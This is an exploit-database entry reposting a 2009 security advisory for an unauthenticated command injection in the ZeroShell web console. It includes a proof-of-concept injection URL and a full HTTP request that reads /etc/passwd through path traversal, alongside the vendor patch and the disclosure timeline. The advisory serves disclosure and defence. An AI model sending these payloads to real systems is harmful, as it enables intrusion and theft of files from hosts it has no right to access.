Author

ikki

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-9371

Category

remote exploits

Date add

09-02-2009

Platform

hardware

==========================================================
ZeroShell <= 1.0beta11 Remote Code Execution Vulnerability
==========================================================





ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution 
for servers and embedded devices. This Linux distro can be configured 
and managed with an easy to use web console.

ZeroShell is prone to an arbitrary code execution vulnerability due to
an improper input validation mechanism. An aggressor may abuse this 
weakness in order to compromise the entire system. 
Authentication is not required in order to exploit this flaw.

[Proof of Concept]
  
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22
  
In addition to the Unix commands, it is possible to abuse the 
ZeroShell scripts themself. For instance it is likely to use the 
"getkey" script in order to retrieve remote files, including the content
in the html page.
  
{HTTP REQUEST}
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
Host: <IP>


----------------------------------------------
Original Advisory: 

  

  ======================================================================== 
  ZeroShell <= 1.0beta11 Remote Code Execution
  ========================================================================
   
  Affected Software : ZeroShell <= 1.0beta11
  Severity          : High
  Local/Remote      : Remote
  Author            : Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com
  Advisory URL      : http://www.ikkisoft.com/stuff/LC-2009-01.txt 
  
  [Summary]
  
  ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution 
  for servers and embedded devices. This Linux distro can be configured 
  and managed with an easy to use web console.
  
  ZeroShell is prone to an arbitrary code execution vulnerability due to
  an improper input validation mechanism. An aggressor may abuse this 
  weakness in order to compromise the entire system. 
  Authentication is not required in order to exploit this flaw.

  [Vulnerability Details]
  
  The ZeroShell web console uses a CGI program and several bash scripts 
  to provide all administrative functions. An improper input validation 
  mechanism permits the injection of arbitrary system commands.
  An unauthenticated user may invoke a function to retrieve all x509 
  certificates present in the repository, using the following GET request:
  https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user
  
  The parameter "type" is used to distinguish between users, CA and host 
  certificates. Unfortunately, this parameter is passed to the following 
  code without input validation at all:
  
  <-- cut here -->
  TYPE="$1"
  cd "$SSLDIR/certs" || exit 1
  ls *_${TYPE}.pem |awk -F"_$TYPE.pem" -v"TYPE=$TYPE" '{
  <-- cut here -->
  
  An aggressor may easily escape the hardcoded commands, adding arbitrary
  system commands. According to the default system configuration, these 
  commands are executed as "apache" (low privileges user).
  
  [Proof of Concept Exploit]
  
  /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22
  
  In addition to the Unix commands, it is possible to abuse the 
  ZeroShell scripts themself. For instance it is likely to use the 
  "getkey" script in order to retrieve remote files, including the content
  in the html page.
  
  {HTTP REQUEST}
  GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
  /root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
  Host: <IP>

  [Fix Information]

  The vendor has published a patch for the release 1.0beta11 only.
  http://www.zeroshell.net/eng/patch-details/#C100

  The new release (1.0beta12) will be available soon.

  [Time Table]

  08/01/2009 - Vendor notified.
  08/01/2009 - Vendor response.
  11/01/2009 - Vendor patch release.
  09/02/2009 - Public disclosure.

  [Legal Notices]

  The information in the advisory is believed to be accurate at the 
  time of publishing based on currently available information. 
  This information is provided as-is, as a free service to the community. 
  There are no warranties with regard to this information.
  The author does not accept any liability for any direct, 
  indirect, or consequential loss or damage arising from use of, 
  or reliance on, this information.
  Permission is hereby granted for the redistribution of this alert,
  provided that the content is not altered in any way, except 
  reformatting, and that due credit is given.
  
  This vulnerability has been disclosed in accordance with the RFP 
  Full-Disclosure Policy v2.0, available at:
  http://www.wiretrip.net/rfp/policy.html





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